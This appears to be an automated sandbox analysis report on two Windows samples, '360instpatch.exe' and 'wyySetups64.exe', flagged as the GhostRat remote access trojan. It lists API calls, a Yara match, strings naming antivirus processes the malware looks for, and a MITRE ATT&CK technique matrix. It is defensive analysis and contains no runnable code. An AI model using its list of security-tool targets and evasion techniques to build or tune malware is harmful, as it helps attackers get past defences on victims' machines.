Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation

Source: C:\Users\user\Desktop\wyySetups64.exe

Code function: 0_2_100113E9 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_100113E9

Source: C:\Users\user\Downloads\360instpatch.exe

Code function: 8_2_00B68A46 _memset,GetUserNameW,__wcsicoll,_memset,GetModuleFileNameW,StrStrIW,

8_2_00B68A46

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

Code function: 1_2_03385D22 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

1_2_03385D22

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

Code function: 1_2_03376A70 wsprintfW,GetCurrentProcessId,wsprintfW,_memset,GetVersionExW,GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,LocalAlloc,GetTokenInformation,GetSidSubAuthorityCount,GetSidSubAuthority,LocalFree,CloseHandle,wsprintfW,

1_2_03376A70

Source: wyySetups64.exe	Binary or memory string: vsserv.exe
Source: wyySetups64.exe	Binary or memory string: avcenter.exe
Source: wyySetups64.exe	Binary or memory string: cfp.exe
Source: 360instpatch.exe	Binary or memory string: SuperKiller.exe
Source: wyySetups64.exe	Binary or memory string: rtvscan.exe
Source: wyySetups64.exe	Binary or memory string: TMBMSRV.exe
Source: 360instpatch.exe, 00000008.00000003.1819390300.00000000013F7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Y\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe
Source: 360instpatch.exe	Binary or memory string: SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360Safe.exe
Source: 360instpatch.exe	Binary or memory string: \SuperKiller.exe
Source: wyySetups64.exe	Binary or memory string: avgwdsvc.exe
Source: 360instpatch.exe	Binary or memory string: SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe
Source: 360instpatch.exe	Binary or memory string: firstaid\superkiller.exe
Source: 360instpatch.exe	Binary or memory string: Software\Microsoft\Windows\CurrentVersion\App Paths\360safe.exe
Source: wyySetups64.exe	Binary or memory string: K7TSecurity.exe
Source: wyySetups64.exe	Binary or memory string: acs.exe
Source: wyySetups64.exe	Binary or memory string: kxetray.exe
Source: wyySetups64.exe	Binary or memory string: KSafeTray.exe
Source: wyySetups64.exe	Binary or memory string: avp.exe
Source: 360instpatch.exe	Binary or memory string: 360safe.exe
Source: wyySetups64.exe	Binary or memory string: 360Safe.exe
Source: 360instpatch.exe	Binary or memory string: 360tray.exe
Source: wyySetups64.exe	Binary or memory string: ashDisp.exe
Source: wyySetups64.exe	Binary or memory string: 360Tray.exe
Source: wyySetups64.exe	Binary or memory string: AYAgent.aye
Source: wyySetups64.exe	Binary or memory string: QUHLPSVC.EXE
Source: wyySetups64.exe	Binary or memory string: RavMonD.exe
Source: wyySetups64.exe	Binary or memory string: Mcshield.exe

Stealing of Sensitive Information

Yara detected GhostRat

Source: Yara match

File source: Process Memory Space: wyySetups64.exe PID: 3624, type: MEMORYSTR

Queries disk data (e.g. SMART data)

Source: C:\Users\user\Downloads\360instpatch.exe	Device IO: \Device\Harddisk0\DR0			Jump to behavior
Source: C:\Users\user\Downloads\360instpatch.exe	Device IO: \Device\Harddisk0\DR0			Jump to behavior

Remote Access Functionality

Yara detected GhostRat

Source: Yara match

File source: Process Memory Space: wyySetups64.exe PID: 3624, type: MEMORYSTR

Source: C:\Users\user\Desktop\wyySetups64.exe	Code function: 0_2_1000EE80 RpcStringBindingComposeW,RpcBindingFromStringBindingW,RpcBindingSetAuthInfoExA,RpcStringFreeW,	0_2_1000EE80
Source: C:\Users\user\Desktop\wyySetups64.exe	Code function: 0_2_00D5EE57 RpcStringBindingComposeW,RpcBindingFromStringBindingW,RpcBindingSetAuthInfoExA,RpcStringFreeW,	0_2_00D5EE57
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF321AC socket,_memset,htonl,htonl,htons,htonl,bind,	8_2_6BF321AC
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF2FB95 htonl,bind,	8_2_6BF2FB95
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF2FEA4 listen,	8_2_6BF2FEA4
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF30BA3 listen,	8_2_6BF30BA3

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	1 Replication Through Removable Media	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	121 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 Bootkit	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	1 Screen Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	223 Process Injection	2 Obfuscated Files or Information	Security Account Manager	1 Account Discovery	SMB/Windows Admin Shares	121 Input Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	1 Software Packing	NTDS	4 File and Directory Discovery	Distributed Component Object Model	2 Clipboard Data	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	246 System Information Discovery	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Masquerading	Cached Domain Credentials	1 Query Registry	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Modify Registry	DCSync	361 Security Software Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	141 Virtualization/Sandbox Evasion	Proc Filesystem	141 Virtualization/Sandbox Evasion	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	13 Process Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
